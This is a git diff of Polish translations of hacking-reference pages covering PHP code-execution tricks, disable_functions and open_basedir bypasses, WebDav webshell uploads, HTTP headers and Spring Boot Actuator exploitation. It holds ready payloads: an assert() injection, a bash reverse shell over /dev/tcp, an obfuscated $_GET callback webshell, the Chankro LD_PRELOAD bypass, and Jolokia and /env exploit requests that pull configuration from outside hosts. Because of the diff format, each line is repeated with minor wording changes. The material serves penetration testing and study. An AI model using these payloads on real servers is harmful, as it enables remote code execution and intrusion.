Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia wartości true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
Ta funkcja w php pozwala na **wykonanie kodu zapisanego w ciągu** w celu **zwrócenia true lub false** (a w zależności od tego zmienić wykonanie). Zazwyczaj zmienna użytkownika będzie wstawiana w środek ciągu. Na przykład:\
`assert("strpos($_GET['page']),'..') === false")` --> W tym przypadku, aby uzyskać **RCE**, możesz zrobić:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
@ -233,9 +233,9 @@ Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek*
**Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'`
**Inną opcją** (jeśli masz wewnętrzny kod) jest zmodyfikowanie niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"`
**Inną opcją** (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"`
### **RCE via usort()**
### **RCE za pomocą usort()**
Funkcja ta jest używana do sortowania tablicy elementów za pomocą określonej funkcji.\
Aby nadużyć tej funkcji:
@ -274,7 +274,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul
### RCE przez zmienne środowiskowe
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
Jeśli znajdziesz lukę, która pozwala na **modyfikację zmiennych środowiskowych w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być obejście), możesz nadużyć tego zachowania, aby uzyskać **RCE**.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać).
- **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem.
@ -351,9 +351,9 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```
## RCE wykorzystując nowe $\_GET\["a"]\($\_GET\["b")
## RCE nadużywając nowego $\_GET\["a"]\($\_GET\["b"])
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
Jeśli na stronie możesz **utworzyć nowy obiekt dowolnej klasy**, możesz być w stanie uzyskać RCE, sprawdź następującą stronę, aby dowiedzieć się jak:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -412,7 +412,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```
### Perl like
### Perl podobny
```php
<?php
$_=[];

View File

@ -28,7 +28,7 @@ echo shell_exec("uname -a");
```bash
echo `uname -a`
```
**popen** - Otwiera rurę do odczytu lub zapisu do procesu polecenia
**popen** - Otwiera rurociąg do odczytu lub zapisu do procesu polecenia
```bash
echo fread(popen("/bin/ls /", "r"), 4096);
```
@ -44,7 +44,7 @@ proc_close(proc_open("uname -a",array(),$something));
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb_send_mail** - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze `$options`. Dzieje się tak, ponieważ **php `mail` function** zazwyczaj wywołuje binarny plik `sendmail` w systemie i pozwala na **dodanie dodatkowych opcji**. Jednak nie będziesz w stanie zobaczyć wyniku wykonanego polecenia, więc zaleca się stworzenie skryptu powłoki, który zapisuje wynik do pliku, wykonuje go za pomocą maila i drukuje wynik:
**mail / mb_send_mail** - Ta funkcja jest używana do wysyłania maili, ale może być również nadużywana do wstrzykiwania dowolnych poleceń w parametrze `$options`. Dzieje się tak, ponieważ **php `mail` function** zazwyczaj wywołuje binarny plik `sendmail` w systemie i pozwala na **dodanie dodatkowych opcji**. Jednak nie będziesz w stanie zobaczyć wyjścia wykonanego polecenia, więc zaleca się stworzenie skryptu powłoki, który zapisuje wyjście do pliku, wykonuje go za pomocą maila i drukuje wyjście:
```bash
file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt');
```
@ -52,7 +52,7 @@ file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA
### Wykonanie kodu PHP
Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie Local File Include i Remote File Include.
Oprócz eval istnieją inne sposoby na wykonanie kodu PHP: include/require mogą być używane do zdalnego wykonania kodu w formie luk w Local File Include i Remote File Include.
```php
${<php code>} // If your input gets reflected in any PHP string, it will be executed.
eval()
@ -75,7 +75,7 @@ $func->invokeArgs(array());
## disable_functions & open_basedir
**Wyłączone funkcje** to ustawienie, które można skonfigurować w plikach `.ini` w PHP, które **zabrania** używania wskazanych **funkcji**. **Open basedir** to ustawienie, które wskazuje PHP folder, do którego ma dostęp.\
Ustawienie PHP powinno być skonfigurowane w ścieżce _/etc/php7/conf.d_ lub podobnej.
Ustawienie PHP należy skonfigurować w ścieżce _/etc/php7/conf.d_ lub podobnej.
Obie konfiguracje można zobaczyć w wyniku **`phpinfo()`**:
@ -88,7 +88,7 @@ Obie konfiguracje można zobaczyć w wyniku **`phpinfo()`**:
`open_basedir` skonfiguruje foldery, do których PHP ma dostęp, **nie będziesz mógł/mogła pisać/odczytywać/wykonywać żadnych plików poza** tymi folderami, ale także **nawet nie będziesz mógł/mogła wylistować** innych katalogów.\
Jednakże, jeśli w jakiś sposób będziesz w stanie wykonać dowolny kod PHP, możesz **spróbować** następującego fragmentu **kodów**, aby spróbować **obejść** to ograniczenie.
### Wylistowanie katalogów z użyciem glob:// bypass
### Listing dirs with glob:// bypass
W tym pierwszym przykładzie używany jest protokół `glob://` z pewnym obejściem ścieżki:
```php
@ -491,13 +491,13 @@ Możesz użyć narzędzia [https://github.com/teambi0s/dfunc-bypasser](https://g
### Obejście za pomocą innych funkcji systemowych
Po prostu wróć na początek tej strony i **sprawdź, czy którakolwiek z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku**. Jeśli znajdziesz tylko jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.
Po prostu wróć na początek tej strony i **sprawdź, czy któraś z funkcji wykonujących polecenia nie jest wyłączona i dostępna w środowisku**. Jeśli znajdziesz tylko jedną z nich, będziesz mógł jej użyć do wykonania dowolnych poleceń systemowych.
### Bypass LD_PRELOAD
Jest powszechnie znane, że niektóre funkcje w PHP, takie jak `mail()`, będą **wykonywać binaria w systemie**. Dlatego możesz je nadużyć, używając zmiennej środowiskowej `LD_PRELOAD`, aby załadować dowolną bibliotekę, która może wykonać cokolwiek.
#### Funkcje, które można wykorzystać do obejścia disable_functions za pomocą LD_PRELOAD
#### Funkcje, które można wykorzystać do obejścia disable_functions z LD_PRELOAD
- **`mail`**
- **`mb_send_mail`**: Skuteczne, gdy zainstalowany jest moduł `php-mbstring`.
@ -524,10 +524,10 @@ return 1;
#### Bypass using Chankro
Aby wykorzystać tę błędną konfigurację, możesz [**Chankro**](https://github.com/TarlogicSecurity/Chankro). To narzędzie, które **generuje exploit PHP**, który musisz przesłać na podatny serwer i wykonać go (uzyskać do niego dostęp przez sieć).\
**Chankro** zapisze na dysku ofiary **bibliotekę i powłokę odwrotną**, którą chcesz wykonać, i użyje\*\*`LD_PRELOAD` trick + PHP `mail()`\*\* funkcji do wykonania powłoki odwrotnej.
**Chankro** zapisze na dysku ofiary **bibliotekę i powrotny shell**, który chcesz wykonać, i użyje **triku `LD_PRELOAD` + funkcji PHP `mail()`**, aby wykonać powrotny shell.
Zauważ, że aby użyć **Chankro**, `mail` i `putenv` **nie mogą pojawić się na liście `disable_functions`**.\
W poniższym przykładzie możesz zobaczyć, jak **stworzyć exploit chankro** dla **arch 64**, który wykona `whoami` i zapisze wynik w _/tmp/chankro_shell.out_, chankro **zapisze bibliotekę i ładunek** w _/tmp_, a **ostateczny exploit** będzie nazywał się **bicho.php** (to jest plik, który musisz przesłać na serwer ofiary):
W poniższym przykładzie możesz zobaczyć, jak **stworzyć exploit chankro** dla **arch 64**, który wykona `whoami` i zapisze wynik w _/tmp/chankro_shell.out_, chankro **zapisze bibliotekę i ładunek** w _/tmp_, a **ostateczny exploit** będzie nazwany **bicho.php** (to jest plik, który musisz przesłać na serwer ofiary):
{{#tabs}}
{{#tab name="shell.sh"}}
@ -547,26 +547,26 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php
Jeśli stwierdzisz, że funkcja **mail** jest zablokowana przez wyłączone funkcje, nadal możesz użyć funkcji **mb_send_mail.**\
Więcej informacji na temat tej techniki i Chankro tutaj: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
### "Bypass" przy użyciu możliwości PHP
### "Obejście" za pomocą możliwości PHP
Zauważ, że używając **PHP** możesz **czytać i zapisywać pliki, tworzyć katalogi i zmieniać uprawnienia**.\
Możesz nawet **zrzucać bazy danych**.\
Może używając **PHP** do **enumeracji** systemu znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytując jakiś prywatny klucz ssh).
Może używając **PHP** do **enumeracji** maszyny, znajdziesz sposób na eskalację uprawnień/wykonywanie poleceń (na przykład odczytując jakiś prywatny klucz ssh).
Stworzyłem webshell, który ułatwia wykonywanie tych działań (zauważ, że większość webshelli również oferuje te opcje): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
### Bypassy zależne od modułów/wersji
### Obejścia zależne od modułów/wersji
Istnieje kilka sposobów na obejście disable_functions, jeśli używany jest jakiś konkretny moduł lub wykorzystana jest konkretna wersja PHP:
- [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md)
- [**Bypass z FFI - włączony Foreign Function Interface**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**Bypass przez mem**](disable_functions-bypass-via-mem.md)
- [**Obejście z FFI - włączony Foreign Function Interface**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md)
- [**Obejście przez mem**](disable_functions-bypass-via-mem.md)
- [**mod_cgi**](disable_functions-bypass-mod_cgi.md)
- [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md)
- [**funkcja dl**](disable_functions-bypass-dl-function.md)
- [**Ten exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass)
- 5.\* - wykorzystywalne przy drobnych zmianach w PoC
- 5.\* - wykonalne przy drobnych zmianach w PoC
- 7.0 - wszystkie wersje do tej pory
- 7.1 - wszystkie wersje do tej pory
- 7.2 - wszystkie wersje do tej pory
@ -677,9 +677,9 @@ posix_setuid
```
### Funkcje systemu plików
Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($\_GET\['s'], $\_GET\['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Również, jeśli strona jest podatna na żądanie wysłane przez GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host przez twój serwer.
Według RATS wszystkie funkcje systemu plików w php są niebezpieczne. Niektóre z nich nie wydają się zbyt przydatne dla atakującego. Inne są bardziej użyteczne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL może być użyty jako ścieżka do pliku, więc wywołanie copy($\_GET\['s'], $\_GET\['d']); może być użyte do przesłania skryptu PHP wszędzie w systemie. Ponadto, jeśli strona jest podatna na żądanie wysyłane przez GET, każda z tych funkcji systemu plików może być nadużyta do przekierowania ataku na inny host przez twój serwer.
**Otwarty uchwyt systemu plików**
**Otwórz uchwyt systemu plików**
```php
fopen
tmpfile

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
Kiedy mamy do czynienia z **serwerem HTTP z włączonym WebDav**, możliwe jest **manipulowanie plikami**, jeśli posiadasz odpowiednie **poświadczenia**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**.
Kiedy mamy do czynienia z **serwerem HTTP z włączonym WebDav**, możliwe jest **manipulowanie plikami**, jeśli posiadasz odpowiednie **dane uwierzytelniające**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**.
Dostęp do serwera WebDav zazwyczaj wymaga **ważnych poświadczeń**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich zdobycia.
Dostęp do serwera WebDav zazwyczaj wymaga **ważnych danych uwierzytelniających**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich pozyskiwania.
Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz:
- **Przesłać** pliki z **wykonywalnymi rozszerzeniami** bezpośrednio, jeśli nie są ograniczone.
- **Zmień nazwę** przesłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne.
- **Skopiować** przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne.
- **Przesyłać** pliki z **rozszerzeniami wykonywalnymi** bezpośrednio, jeśli nie są ograniczone.
- **Zmień nazwę** przesyłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne.
- **Kopiować** przesyłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne.
## DavTest
@ -48,7 +48,7 @@ Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiowa
## Post credentials
Jeśli Webdav używał serwera Apache, powinieneś spojrzeć na skonfigurowane witryny w Apache. Zwykle:\
\_**/etc/apache2/sites-enabled/000-default**_
_**/etc/apache2/sites-enabled/000-default**_
Wewnątrz możesz znaleźć coś takiego:
```
@ -71,7 +71,7 @@ Możesz spróbować je **złamać**, lub **dodać więcej**, jeśli z jakiegoś
```bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
```
Aby sprawdzić, czy nowe dane logowania działają, możesz zrobić:
Aby sprawdzić, czy nowe dane uwierzytelniające działają, możesz zrobić:
```bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
```

View File

@ -56,7 +56,7 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
**Nagłówki pamięci podręcznej serwera**:
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane w pamięci podręcznej
- **`X-Cache`** w odpowiedzi może mieć wartość **`miss`** gdy żądanie nie zostało zapisane w pamięci podręcznej i wartość **`hit`** gdy jest zapisane
- Podobne zachowanie w nagłówku **`Cf-Cache-Status`**
- **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800`
- **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane.
@ -72,32 +72,32 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania
- `Clear-Site-Data`: Nagłówek wskazujący, które dane w pamięci podręcznej powinny zostać usunięte: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Zawiera datę/godzinę, kiedy odpowiedź powinna wygasnąć: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` to samo co `Cache-Control: no-cache`
- `Warning`: Nagłówek **`Warning`** ogólny nagłówek HTTP zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Warning`: Ogólny nagłówek HTTP **`Warning`** zawiera informacje o możliwych problemach ze statusem wiadomości. W odpowiedzi może pojawić się więcej niż jeden nagłówek `Warning`. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Warunki
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inną datę.
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** używają wartości Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP.
- Żądania używające tych nagłówków: **`If-Modified-Since`** i **`If-Unmodified-Since`** będą odpowiadać danymi tylko wtedy, gdy nagłówek odpowiedzi **`Last-Modified`** zawiera inny czas.
- Warunkowe żądania używające **`If-Match`** i **`If-None-Match`** wykorzystują wartość Etag, aby serwer WWW wysłał zawartość odpowiedzi, jeśli dane (Etag) się zmieniły. `Etag` jest pobierany z odpowiedzi HTTP.
- Wartość **Etag** jest zazwyczaj **obliczana na podstawie** **zawartości** odpowiedzi. Na przykład, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` wskazuje, że `Etag` to **Sha1** **37 bajtów**.
## Żądania zakresu
- **`Accept-Ranges`**: Wskazuje, czy serwer obsługuje żądania zakresu, a jeśli tak, w jakiej jednostce zakres może być wyrażony. `Accept-Ranges: <range-unit>`
- **`Range`**: Wskazuje część dokumentu, którą serwer powinien zwrócić. Na przykład, `Range:80-100` zwróci bajty od 80 do 100 oryginalnej odpowiedzi z kodem statusu 206 Partial Content. Pamiętaj również, aby usunąć nagłówek `Accept-Encoding` z żądania.
- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zescapowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu.
- Może to być przydatne do uzyskania odpowiedzi z dowolnym odzwierciedlonym kodem JavaScript, który w przeciwnym razie mógłby być zablokowany. Aby to wykorzystać, musisz wstrzyknąć te nagłówki w żądaniu.
- **`If-Range`**: Tworzy warunkowe żądanie zakresu, które jest spełnione tylko wtedy, gdy podany etag lub data pasuje do zdalnego zasobu. Używane do zapobiegania pobieraniu dwóch zakresów z niekompatybilnych wersji zasobu.
- **`Content-Range`**: Wskazuje, gdzie w pełnej wiadomości ciała należy umieścić wiadomość częściową.
## Informacje o ciele wiadomości
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów.
- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach.
- **`Content-Type`**: Wskazuje typ mediów zasobu
- **`Content-Encoding`**: Używane do określenia algorytmu kompresji.
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnego preferowanego języka.
- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych.
- **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych.
Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD:
Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD:
- Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
@ -109,7 +109,7 @@ Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić
## Kontrole
- **`Allow`**: Ten nagłówek jest używany do komunikowania metod HTTP, które zasób może obsługiwać. Na przykład może być określony jako `Allow: GET, POST, HEAD`, co wskazuje, że zasób obsługuje te metody.
- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient czeka na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
- **`Expect`**: Wykorzystywany przez klienta do przekazywania oczekiwań, które serwer musi spełnić, aby żądanie mogło zostać pomyślnie przetworzone. Typowym przypadkiem użycia jest nagłówek `Expect: 100-continue`, który sygnalizuje, że klient zamierza wysłać dużą ilość danych. Klient oczekuje na odpowiedź `100 (Continue)` przed kontynuowaniem transmisji. Mechanizm ten pomaga w optymalizacji wykorzystania sieci poprzez oczekiwanie na potwierdzenie serwera.
## Pobierania
@ -129,7 +129,7 @@ To oznacza, że plik o nazwie "filename.jpg" ma być pobrany i zapisany.
### **Zaufane typy**
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API w sieci, co zabezpiecza kod JavaScript domyślnie.
Wymuszając Zaufane Typy za pomocą CSP, aplikacje mogą być chronione przed atakami XSS w DOM. Zaufane Typy zapewniają, że tylko specjalnie przygotowane obiekty, zgodne z ustalonymi politykami bezpieczeństwa, mogą być używane w niebezpiecznych wywołaniach API webowych, co zabezpiecza kod JavaScript domyślnie.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -158,9 +158,9 @@ Aby zwalczyć clickjacking, ten nagłówek ogranicza sposób, w jaki dokumenty m
```
X-Frame-Options: DENY
```
### **Polityka Zasobów Międzydomenowych (CORP) i Współdzielenie Zasobów Międzydomenowych (CORS)**
### **Cross-Origin Resource Policy (CORP) i Cross-Origin Resource Sharing (CORS)**
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki międzydomenowe. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm współdzielenia zasobów międzydomenowych, łagodząc politykę tej samej domeny w określonych warunkach.
CORP jest kluczowy dla określenia, które zasoby mogą być ładowane przez strony internetowe, łagodząc wycieki między witrynami. CORS, z drugiej strony, pozwala na bardziej elastyczny mechanizm udostępniania zasobów między różnymi źródłami, łagodząc politykę tego samego pochodzenia w określonych warunkach.
```
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
@ -175,7 +175,7 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
Na koniec, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
Ostatnio, HSTS to funkcja zabezpieczeń, która zmusza przeglądarki do komunikacji z serwerami tylko za pośrednictwem bezpiecznych połączeń HTTPS, co zwiększa prywatność i bezpieczeństwo.
```
Strict-Transport-Security: max-age=3153600
```

View File

@ -6,7 +6,7 @@
<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>
**Z** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\*
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
## Wykorzystywanie Spring Boot Actuators
@ -14,22 +14,22 @@
### **Kluczowe punkty:**
- Spring Boot Actuators rejestrują punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nieczułe, ale deweloperzy często wyłączają to zabezpieczenie.
- Spring Boot Actuators rejestrują punkty końcowe, takie jak `/health`, `/trace`, `/beans`, `/env` itd. W wersjach od 1 do 1.4, te punkty końcowe są dostępne bez uwierzytelnienia. Od wersji 1.5 wzwyż, tylko `/health` i `/info` są domyślnie nie wrażliwe, ale deweloperzy często wyłączają to zabezpieczenie.
- Niektóre punkty końcowe Actuator mogą ujawniać wrażliwe dane lub pozwalać na szkodliwe działania:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` i `/heapdump`.
- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x są pod podstawową ścieżką `/actuator/`.
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, i `/heapdump`.
- W Spring Boot 1.x, actuatory są rejestrowane pod głównym URL, podczas gdy w 2.x, są pod podstawową ścieżką `/actuator/`.
### **Techniki wykorzystywania:**
### **Techniki eksploatacji:**
1. **Zdalne wykonanie kodu przez '/jolokia'**:
- Punkt końcowy `/jolokia` ujawnia bibliotekę Jolokia, która umożliwia dostęp HTTP do MBeans.
- Akcja `reloadByURL` może być wykorzystana do ponownego załadowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML.
- Przykładowy URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
- Akcja `reloadByURL` może być wykorzystana do przeładowania konfiguracji logowania z zewnętrznego URL, co może prowadzić do ślepego XXE lub zdalnego wykonania kodu za pomocą skonstruowanych konfiguracji XML.
- Przykład URL exploita: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Modyfikacja konfiguracji przez '/env'**:
- Jeśli obecne są biblioteki Spring Cloud, punkt końcowy `/env` pozwala na modyfikację właściwości środowiskowych.
- Właściwości mogą być manipulowane w celu wykorzystania luk, takich jak luka deserializacji XStream w usłudze Eureka serviceURL.
- Przykładowe żądanie POST exploita:
- Przykład żądania POST exploita:
```
POST /env HTTP/1.1
@ -41,26 +41,24 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```
3. **Inne przydatne ustawienia**:
- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
- Właściwości takie jak `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, i `spring.datasource.tomcat.max-active` mogą być manipulowane w celu różnych exploitów, takich jak SQL injection lub zmiana ciągów połączeń z bazą danych.
### **Dodatkowe informacje:**
- Kompletna lista domyślnych actuatorów jest dostępna [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Kompletna lista domyślnych actuatorów może być znaleziona [tutaj](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Punkt końcowy `/env` w Spring Boot 2.x używa formatu JSON do modyfikacji właściwości, ale ogólna koncepcja pozostaje ta sama.
### **Pokrewne tematy:**
1. **Env + H2 RCE**:
- Szczegóły dotyczące wykorzystywania kombinacji punktu końcowego `/env` i bazy danych H2 można znaleźć [tutaj](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
2. **SSRF w Spring Boot przez niewłaściwą interpretację ścieżki**:
- Obsługa parametrów macierzowych (`;`) w ścieżkach HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
- Przykładowe żądanie exploita:
2. **SSRF w Spring Boot przez niewłaściwą interpretację nazwy ścieżki**:
- Obsługa parametrów macierzowych (`;`) w nazwach ścieżek HTTP przez framework Spring może być wykorzystana do Server-Side Request Forgery (SSRF).
- Przykład żądania exploita:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
